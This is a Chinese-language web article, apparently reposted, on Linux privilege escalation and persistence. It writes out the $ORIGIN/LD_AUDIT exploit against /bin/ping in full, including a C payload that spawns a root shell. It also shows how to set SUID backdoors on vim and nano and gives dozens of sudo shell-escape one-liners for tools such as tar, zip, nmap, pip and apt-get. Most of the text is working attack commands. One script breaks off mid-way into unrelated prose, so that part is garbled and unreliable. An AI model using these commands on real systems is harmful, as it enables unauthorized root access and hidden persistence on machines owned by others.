加入收藏 | 设为首页 | 会员中心 | 我要投稿 我爱资讯网 (https://www.52junxun.com/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 服务器 > 搭建环境 > Linux > 正文

Linux权限维持与提权

发布时间:2022-11-19 11:12:59 所属栏目:Linux 来源:
导读:  Linux权限维持与提权用到了ATT&CK框架中的T1166技术,应用程序设置setuid或setgid位时,这意味着应用程序将分别以拥有用户或组的权限运行。

  当攻击者临时获得了root权限,而设置suid是权限维持的一种方法
  Linux权限维持与提权用到了ATT&CK框架中的T1166技术,应用程序设置setuid或setgid位时,这意味着应用程序将分别以拥有用户或组的权限运行。
 
  当攻击者临时获得了root权限,而设置suid是权限维持的一种方法,将vim、nano等命令设置为特殊权限,如nano命令被设置后门,可以修改/root/.ssh/authorized_keys进行无密码登录,除此之外还有各种方式留后门。
 
  SUID特殊权限提权
 
  SUID的功用:用户运行某程序时,如果此程序拥有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而程序文件自己的属主;
 
  passwd设置了特殊权限,修改密码时允许修改shadow文件。
 
  添加特殊权限命令:
 
  Chmod u+s /usr/bin/vim
 
  Chmod g+s /usr/bin/vim
 
  当vim拥有特殊权限,可以查看shadow文件添加任务记录、添加用户、添加
 
  /root/.ssh/authorized_keys

  除了自己添加外,还可以在当前系统查找是否有特殊权限的程序。
 
  查找SUID、SGID文件
 
  #Find SUID
 
  find / -perm-u=s -type f 2>/dev/null
 
  #Find GUID
 
  find / -perm-g=s -type f 2>/dev/null
 
  利用/bin/ping特殊权限提权
 
  在某次实战过程中,遇到过低版本的Centos5-6,可利用以下方式提权:
 
  在/tmp下创建可控制的目录
 
  $ mkdir /tmp/exploit
 
  链接到suid二进制程序以更改$ORIGIN的定义
 
  $ ln /bin/ping /tmp/exploit/target
 
  打开到目标二进制程序的文件描述符
 
  $ exec 3< /tmp/exploit/target
 
  现在可通过/proc访问描述符
 
  $ ls -l /proc/$$/fd/3
 
  lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 ->/tmp/exploit/target*
 
  删除之前所创建的目录
 
  $ rm -rf /tmp/exploit/
 
  /proc链接仍存在linux权限,但已标记为已被删除
 
  $ ls -l /proc/$$/fd/3
 
  lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 ->/tmp/exploit/target (deleted)
 
  使用负载DSO替换目录,使$ORIGIN成为到dlopen()的有效目标
 
  $ cat > payload.c
 
  void __attribute__((constructor)) init()
 
  {
 
  setuid(0);
 
  system("/bin/bash");
 
  }
 
  ^D
 
  $ gcc -w -fPIC -shared -o /tmp/exploit payload.c
 
  $ ls -l /tmp/exploit
 
  -rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*
 
  通过LD_AUDIT强制/proc中的链接加载$ORIGIN
 
  $ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
 
  sh-4.1# whoami
 
  root
 
  sh-4.1# id
 
  uid=0(root) gid=500(taviso)
 
  bash脚本:
 
  #!/bin/sh
 
  unset LD_AUDIT
 
  rm -r -f /tmp/exploit
 
  mkdir /tmp/exploit
 
  ln /bin/ping /tmp/exploit/target
 
  exec 3< /tmp/exploit/target
 
  ls -l /proc/$$/fd/3
 
  rm -rf /tmp/exploit
 
  ls -l /proc/$$/fd/3
 
  cat > program.c 检查/var/db/sudo/目录下是否有用户时间戳 -> 检查/etc/sudoers配置文件,用户是否有sudo权限 -> 执行sudo命令并反回结果 -> 退出sudo返回普通用户shell环境。
 
  其中步骤2检查:时间戳默认从上一次执行sudo命令5分钟后过期。
 
  /etc/sudoers或者使用visudo命令进行编辑。
 
  文件语法:
 
  root ALL=(ALL) ALL
 
  root表示用户名
 
  使用sudo -l查看当前权限。
 
  find命令获取root权限
 
  linux权限_linux 权限 777_linux nfs 权限不对
 
  sudo find /home -exec /bin/bash \;
 
  各类命令特殊权限利用方式
 
  zip、tar、strace、nmap、more、git、ftp、vim、passwd
 
  zip:
 
  sudo zip/tmp/tmp.zip /tmp/ -T --unzip-command="sh -c /bin/bash"
 
  - -T 表示测试test.zip的完整性
 
  - --unzip-command 与-T一起使用,可以指定自定义命令用于解压test.zip
 
  tar:
 
  sudo tar cf/dev/null test --checkpoint=1 --checkpoint-action=exec=/bin/bash
 
  - --checkpoint-action选项是提权点,可以自定义需要执行的动作
 
  strace:
 
  sudostrace -o /dev/null /bin/bash
 
  nmap:
 
  低版本的nmap3.x 有interactive模式,且设置了suid,这个时候可以进入交互模式 执行!sh 命令即可轻松完成提权。
 
  echo "os.execute('/bin/bash')" > /tmp/shell.nse
 
  sudo nmap --script=/tmp/shell.nse
 
  more:
 
  sudo more /etc/hosts
 
  !/bin/bash
 
  git:
 
  sudo git help status
 
  !/bin/bash
 
  ftp:
 
  sudo ftp
 
  ftp> !/bin/bash
 
  vim:
 
  sudo vim -c'!bash'
 
  perl、python、less、awk、man、vi
 
  perl:
 
  sudo perl -e'exec "/bin/bash";'
 
  python:
 
  sudo python -c'import pty;pty.spawn("/bin/bash")'
 
  less:
 
  sudo less /etc/hosts
 
  v
 
  :shell
 
  awk:
 
  sudo awk 'BEGIN{system("/bin/bash")}'
 
  man:
 
  sudo man man
 
  !/bin/bash
 
  vi:
 
  sudo vi
 
  :!bash
 
  apt-get、apt、dpkg
 
  sudo apt-getupdate -o APT::Update::Pre-Invoke::="/bin/bash -i"
 
  sudo apt-get changelog apt
 
  !/bin/bash
 
  TF=$(mktemp)
 
  echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
 
  sudo apt-get install -c $TF sl
 
  ed、sed、pip、taskset
 
  ed:
 
  sudo ed
 
  !/bin/bash
 
  sed:
 
  sudo sed -n '1eexec bash 1>&0' /etc/passwd
 
  pip:
 
  TF=$(mktemp -d)
 
  echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh$(tty) 2>$(tty)')" > $TF/setup.py
 
  sudo pip install $TF
 
  taskset:
 
  sudo taskset 1/bin/sh –p
 
  aria2c、arp、base64?cpan
 
  aria2c:
 
  sudo sh -c 'cp $(which aria2c) .; chmod +s ./aria2c'
 
  COMMAND='id'
 
  TF=$(mktemp)
 
  echo "$COMMAND" > $TF
 
  chmod +x $TF
 
  ./aria2c --on-download-error=$TF
 
  arp:
 
  LFILE=file_to_read
 
  sudo arp -v -f "$LFILE"
 
  base64:
 
  LFILE=file_to_read
 
  sudo base64 "$LFILE" | base64 --decode
 
  cpan:
 
  sudo cpan
 
  ! exec '/bin/bash'
 
  ......
 
  Linux命令深度利用
 
  - [Linux下PAM模块学习总结]
 
  ()
 
  - [关于openssh通用后门的拓展]()
 

(编辑:我爱资讯网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!